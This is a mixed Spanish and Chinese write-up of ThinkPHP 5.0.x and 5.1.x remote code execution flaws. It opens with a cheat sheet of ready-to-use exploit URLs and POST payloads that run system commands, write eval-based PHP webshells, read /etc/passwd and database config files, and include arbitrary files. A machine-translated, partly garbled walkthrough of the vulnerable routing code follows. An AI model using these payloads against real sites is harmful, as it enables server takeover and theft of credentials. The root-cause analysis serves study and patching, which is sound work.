Este entorno de prueba usa php7.0.12 + apache + thinkphp5.0.20
poc:http://127.0.0.1/tp5.0/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo '<?php @eval($_POST['aa']);?>' > 2.php
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][1]=<?php eval($_POST[nmsl]);?> # 写入shell
http://url/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_get_contents&vars[1][]=../application/database.php
http://url/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_get_contents&vars[1][]=../../../../../../../../../../../../../../etc/passwd
http://url/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_get_contents&vars[1][]=../application/config.php
版本号:5.0.8~5.0.19
payload:s=whoami&_method=__construct&filter&filter=system
版本号:5.0.20~5.0.23
payload:
http://url/?s=captcha
_method=__construct&filter[]=system&method=get&server[REQUSET_METHOD]=whoami
Thinkphp 漏洞
该漏洞出现的原因在于ThinkPHP5框架底层对控制器名过滤不严,从而让攻击者可以通过url调用到ThinkPHP框架内部的敏感函数,进而导致getshell漏洞
rce 漏洞的过程
$this->method可控导致可以调用__contruct()覆盖Request类的filter字段,然后App::run()执行判断debug来决定是否执行$request->param(),并且还有$dispatch['type'] 等于controller或者 method 时也会执行$request->param(),而$request->param()会进入到input()方法,在这个方法中将被覆盖的filter回调call_user_func(),造成rce。
5.1.x :
?s=index/\think\Request/input&filter[]=system&data=pwd
?s=index/\think\view\driver\Php/display&content=<?php phpinfo();?>
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars1=id
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars1=id
5.0.x
?s=index/think\config/get&name=database.username // 获取配置信息
?s=index/\think\Lang/load&file=../../test.jpg // 包含任意文件
?s=index/\think\Config/load&file=../../t.php // 包含任意.php文件
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars1=id
?s=index|think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars1=whoami
可以看到payload分为两种类型,一种是因为Request类的method和__construct方法造成的,另一种是因为Request类在兼容模式下获取的控制器没有进行合法校验
参考自:https://y4er.com/post/thinkphp5-rce/
Primero mire el archivo de entrada, importe el archivo thinkphp / start.php y
haga un seguimiento de thinkphp / start.php, y ejecute el método run () en think / App.php. La
razón de la vulnerabilidad de thinkphp5.0.x es relacionados con el procesamiento de URL. Buscar pensar directamente La parte de detección de enrutamiento de URL del método run () en
/App.php sigue la función routeCheck (). Esta función es para detectar el enrutamiento. La función routeCheck () juzga si la ruta está configurada en la URL, porque no hay una definición de enrutamiento y la devolución es diferente. Programación de URL, por lo que se volverá falso
parseUrl () Esta función se usa para analizar variables $path
(index / think \ app / invokefunction), función de seguimiento, la función es el $path
procesamiento correcto , '/' se reemplaza con '|', y la izquierda y la derecha se eliminan del espacio libre
después de que la función parseURL () $route
($ route module tiene módulo, el controlador controlador, método de acción) devuelve una matriz de routeCheck a la función , y luego la función routeCheck () devuelve la
vulnerabilidad de la variable de despacho (función de ejecución) Aquí, no es el error del método de ejecución, sino el filtrado riguroso de la URL
. El tipo impreso arriba es módulo, por lo que irá al módulo de caso ', y siga el método del módulo
para continuar siguiendo el invokeMethod devuelto por el método del módulo. La función
invokeMethod function
$ args obtendrá los parámetros restantes en la función POC = call_user_func_array & vars [0] = system & vars [1] [] = whoami value
call_user_func_array: Llame a la función de devolución de llamada y utilice un parámetro de matriz como parámetro de la función de devolución de llamada.
Finalmente, el método invokefunction en la clase think / app se ejecuta a través de la clase de reflexión IncokeArges ()
La vulnerabilidad ocurre cuando no hay enrutamiento, cuando parseURL analiza el enrutamiento, la URL no se filtra rigurosamente, lo que da como resultado (barra invertida think \ app), lo que
eventualmente lleva al controlador pasando la función ejecutiva como think \ app, y finalmente pasa $reflect->invokeArgs(isset($class) ? $class : null, $args)
para resolverlo Clases y parámetros, lo que lleva a vulnerabilidades de ejecución de comandos.